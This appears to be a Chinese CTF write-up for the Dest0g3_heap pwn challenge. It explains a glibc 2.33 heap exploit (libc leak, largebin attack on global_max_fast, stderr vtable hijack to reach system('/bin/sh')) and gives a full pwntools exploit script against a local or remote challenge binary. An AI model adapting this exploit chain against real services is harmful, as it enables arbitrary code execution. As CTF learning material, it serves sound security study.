[Dest0g3 520迎新赛] 拿到WP还整了很久的Dest0g3_heap

原来没弄过,一直想弄明白,拿到WP看了好久,然后一步步复现,由于官方给出的WP是答题人上传的有大量冗余代码的WP所以看懂了相当困难,不过赶上周末有点时间,反复试验终于复现成功。

题目先建一个5字节地址的块,然后可以在这个块个随意修改和释放。add使用calloc不使用tcache,show则是基于buf里的地址,由于所有的edit都在mmap块内需要修改libc的地址会比较麻烦。

这里用到global_max_fast这个值,这个值在libc的mallopt函数里,在libc-2.33里偏移是0x1e3e78

__int64 __fastcall mallopt(unsigned int a1, int a2)
{
......
    case 1u:
      v4 = 0LL;
      if ( (unsigned __int64)a2 <= 0xA0 )
      {
        v4 = a1;
        v7 = (a2 + 8LL) & 0xFFFFFFFFFFFFFFF0LL;
        if ( (unsigned __int64)a2 <= 7 )
          v7 = 16LL;
        qword_1E3E78 = v7;   //global_max_fast
      }
      break;
......
}

这个值是fastbin的最大值,默认是80,也可以直接在libc的可读可写块里搜0x0000000000000080来得到。将这个值改大后,再建大的块就不会被释放到unsort而是直接释放到fastbin这时候修改fd指针为一个值A,再建块时会把这个值A放到fastbin的指针区(这时由于修改了global_max_fast,最大值已经超过0x80所以会造成写溢出,而将A写到指定偏移的位置)。而fastbinY在main_arena+0x10 的位置,每8字节1个指针每个块大小差0x10,想往哪写就设置适当大小的块释放到fastbin,也就是这个公式。

chunk_size = (where - fastbinY)*2 + 0x10

然后这个题的流程就有了:

  1. 泄露libc和堆地址:
    1. 先在正常堆里建一个块然后在mmap里释放一个大块到unsortbin,再建相同大块里会将块建到mmap里刚释放的位置将buf设置到mmap块里
    2. 释放两个大块形成的两个unsort会成链,fd->main_arena,bk->next unsort这样作适当填充后(把0填掉)就可以得到libc和堆地址
  2. 用largbinAttack修改global_max_fast
    1. 由于一块比较复杂,没看大明白就照葫芦画瓢,原理略。
    2. 先释放一个大块到unsort再建更大块时,它会被放入largebin
    3. 再释放一个大块到unsort并修改第1个largegin的指针到global_max_fast-0x20-3(-3是用来错位,这里只写两字节)
    4. 再建大块时会在global_max_fast-3处写上刚修改的指针的地址(这个值由0x80改为一个2字节值XXXX)这时候再释放较大的块时(比这个XXXX小)就会释放到fastbin,再建同样大的块使用这个fastbin时fastbin里的fd指针就会写到对应的位置上。
  3. 修改_IO_2_1_stderr_+0xd8的vtable指针(由于题目最大块有限制,所以写不到_IO_file_jumps,上一题ez_kiwi没限制可以直接写_IO_file_jumps+0x60为system)让他先指向一个近的fake vtable
  4. 修改这个fake_vtable+0x60的位置为system
  5. 修改_IO_2_1_stderr_+0为/bin/sh\0
  6. 由于mmap的块是5字节地址,前边写global_max_fast时向前错3字节,所以global_max_fast的值为2字节。这里建一个0xffff的块触发报错执行system(/bin/sh)
  7. 后台环境是ubuntu 21 当使用ubuntu20 并patch到相应的libc后,libc地址会比21里的地址小0x1d000。
from pwn import *

'''
patchelf --set-interpreter /home/shi/libc6_2.33-0ubuntu5/lib64/ld-2.33.so pwn
patchelf --add-needed /home/shi/libc6_2.33-0ubuntu5/lib64/libc.so.6 pwn
'''

local = 1
if local == 1:
    p = process('./pwn')
else:
    p = remote('node4.buuoj.cn', 27787) 

#libc_elf = ELF('/home/shi/libc6_2.33-0ubuntu5/lib64/libc.so.6')
libc_elf = ELF('/home/shi/libc/libc6_2.33/lib/x86_64-linux-gnu/libc-2.33.so')
elf = ELF('./pwn')
context.arch = 'amd64'

menu = b'>> '
def add(size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"size: ", str(size).encode())

def edit(offset, msg):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"size: ", str(len(msg)).encode())
    p.sendlineafter(b"offset: ", str(offset).encode())
    p.sendafter(b"content: ", msg)

def free(offset):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"idx: ", str(offset).encode())

def show():
    p.sendlineafter(menu, b'4')
    p.recvuntil(b"content: ")


add(0x18)

pay1 = flat(0,0x21,0,0, 0, 0x431, b'\x00'*0x428, 0x21,0,0, 0,0x21)
pay2 = flat(0,0x21,0,0, 0, 0x421, b'\x00'*0x418, 0x21,0,0, 0,0x21)
edit(0, pay1)
edit(0x800, pay2)
free(0x30)
add(0x420)  #让buf值为mmap里的值,供show时使用
#0x55cd19605050:	0x0000003a9a3de000	0x0000003a9a3de030  <-- mmap_base+0x30
free(0x30)  #释放两个unsort成链,通过fd,bk得到libc和堆地址
free(0x830)
#0x3a9a3de030:	0x00007f63a3369c00	0x0000003a9a3de820
#libc_base
edit(0x30, b'A')
show()
main_arena = u64(p.recv(6).ljust(8,b'\x00')) - ord('A') - 0x60
libc_base = main_arena -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
fastbinY = main_arena + 0x10
global_max_fast = libc_base + 0x1e3e78
print('libc:', hex(libc_base))
print('global_max_fast:', hex(global_max_fast))
print('main_arena:', hex(main_arena))
#mmap_heap_base
edit(0x30, b'A'*8)
show()
p.recvuntil(b'A'*8)
mmap_base = u64(p.recvuntil(b'1. alloc', drop=True).ljust(8, b'\x00')) -0x820
print('mmap:', hex(mmap_base))

edit(0x30, p64(main_arena + 0x60)) #恢复被修改的值

#2, modify flobal_max_fast
add(0x410) #unsort2 
add(0x500) #unsort1->large1 +30
edit(0x1200, pay2)
free(0x1230)
edit(0x30, flat(main_arena+0x50+0x400, main_arena+0x50+0x400, 0, global_max_fast -0x20 -3))
add(0x500)
#gef➤  x/20gx 0x1e3e70+0x007fcbdea55000
#0x7fcbdec38e70:	0x2ae2200000000000	0x000000000000a79f

def write_where(where,what):
    chunk_size = (where - fastbinY)*2 + 0x10
    print(hex(where), 'size:', hex(chunk_size), hex(what))
    edit(0x20, flat(0, chunk_size+0x11,0,0,0,0))
    edit(chunk_size+0x10+0x20, flat(0, 0x21,0,0,0, 0x21))
    free(0x30) 
    edit(0x30, p64(what ^ ((mmap_base + 0x30)>>12)))
    add(chunk_size)
    

#3, stderr->vtable=fake+380, +380+60 :system, stderr:/bin/sh
#write_where(libc_elf.sym['_IO_file_jumps'] + 96, libc_elf.sym['system'])
write_where(libc_elf.sym['_IO_2_1_stderr_'] + 0x380 + 0x60 , libc_elf.sym['system'])
write_where(libc_elf.sym['_IO_2_1_stderr_'] + 0xd8, libc_elf.sym['_IO_2_1_stderr_'] + 0x380 )
write_where(libc_elf.sym['_IO_2_1_stderr_'], 0x0068732f6e69622f )
#0x7f2ba5d4d5e0 <_IO_2_1_stderr_>:	0x0068732f6e69622f	 <--- /bin/sh

edit(0x1800, flat(0,0x21,b'\x00'*0x18, 0xc1, b'\x00'*0xb8, 0x21,b'\x00'*0x18, 0x21,b'\x00'*0x18))

for i in range(7):
    free(0x1830)
    edit(0x1830, p64(0)*2)
free(0x1830)
edit(0x1820, flat(0, 0xce))

add(0xffff)

p.interactive()

你可能感兴趣的:(CTF,pwn,Dest0g3,520迎新赛,pwn)